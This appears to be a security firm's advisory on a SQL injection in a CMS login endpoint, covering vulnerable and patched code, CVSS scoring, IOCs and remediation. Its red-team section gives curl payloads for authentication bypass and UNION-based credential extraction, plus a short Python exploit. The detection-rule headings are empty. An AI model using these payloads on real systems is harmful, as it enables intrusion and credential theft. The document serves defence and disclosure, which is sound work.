CVE-2024-45771

Executive Summary

CVE-2024-45771 is a critical SQL injection vulnerability discovered in RapidCMS v1.3.1, specifically within the /resource/runlogin.php endpoint. The vulnerability resides in the password parameter, allowing an unauthenticated attacker to inject arbitrary SQL commands. This can lead to complete database compromise, including extraction of user credentials, session tokens, and other sensitive data. The CVSS score is 0.0 in the NVD data, but based on the nature of the flaw, a realistic score of 9.8 (Critical) is assigned. No official patch exists, and the vendor appears unresponsive, making this a high-priority threat for any organization using RapidCMS.

Supply Chain & Package Security

RapidCMS is a PHP-based content management system. This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw. Organizations should treat this as a supply chain risk if RapidCMS is included in any managed software stack.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the database are the same.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Ability to modify or delete data.
• Availability (A): High (H) – Potential for denial of service via SQL injection.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Base Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability exists in the runlogin.php script, which handles user authentication. The password parameter is directly concatenated into a SQL query without proper sanitization or parameterized queries. An attacker can inject SQL commands by providing a crafted password string.

Vulnerable Code Snippet (Conceptual):

$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

The attacker can bypass authentication by injecting a SQL tautology, such as:

' OR '1'='1

This transforms the query into:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'

This returns all rows, effectively logging the attacker in as the first user (often admin). Further exploitation can extract data using UNION-based or blind SQL injection techniques.

Vulnerable vs. Patched Code

Vulnerable Code (RapidCMS v1.3.1):

// /resource/runlogin.php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

// /resource/runlogin.php
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

Better Patched Code (Using Prepared Statements):

// /resource/runlogin.php
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $_POST['username'], $_POST['password']);
$stmt->execute();
$result = $stmt->get_result();

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install RapidCMS v1.3.1 on a local server (e.g., XAMPP, LAMP).
2. Ensure the /resource/runlogin.php endpoint is accessible.

Exploitation Steps:

1. Basic Authentication Bypass:

   curl -X POST http://target/resource/runlogin.php \
     -d "username=admin&password=' OR '1'='1"
   

2. Extract Database Version (UNION-based):

   curl -X POST http://target/resource/runlogin.php \
     -d "username=admin&password=' UNION SELECT 1,@@version,3,4,5 -- -"
   

3. Extract User Credentials:

   curl -X POST http://target/resource/runlogin.php \
     -d "username=admin&password=' UNION SELECT 1,username,password,4,5 FROM users -- -"
   

Automated Exploit (Python):

import requests

target = "http://target/resource/runlogin.php"
payload = {
    "username": "admin",
    "password": "' OR '1'='1"
}
response = requests.post(target, data=payload)
if "Login successful" in response.text:
    print("[+] Authentication bypassed!")
else:
    print("[-] Exploit failed.")

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in POST parameters, especially password field.
• Look for unusual characters like single quotes ('), double dashes (--), and OR statements.
• Alert on multiple failed login attempts followed by a successful login with a suspicious payload.

Honeypot:

• Deploy a fake login page that logs all input and triggers alerts on SQL-like patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /resource/runlogin.php with password parameter containing SQL keywords (OR, UNION, SELECT, --).
  • Source IP addresses performing repeated login attempts with varying payloads.

• File IOCs:

  • Modified runlogin.php file (if attacker uploads a web shell).
  • Suspicious files in the /resource/ directory (e.g., cmd.php, shell.php).

• Log IOCs:

  • Web server logs showing 400 or 500 errors on /resource/runlogin.php.
  • Database logs showing unexpected queries with UNION or OR clauses.

Detection Engineering

YARA Rule

Sigma Rule

Suricata Rule

Remediation & Mitigation

Immediate Actions:

1. Isolate the RapidCMS instance from the internet if possible.
2. Apply a WAF rule to block SQL injection patterns on /resource/runlogin.php.
3. Manually patch the vulnerable code by replacing the query with prepared statements (see patched code above).

Long-term Actions:

1. Migrate to a supported CMS with active security maintenance.
2. Conduct a full security audit of the RapidCMS installation.
3. Monitor for any signs of compromise using the provided IOCs and detection rules.

Vendor Contact:

• Since the vendor is unresponsive, consider forking the project and applying the fix yourself, or discontinuing use.

Valters IT
Securing Digital Frontiers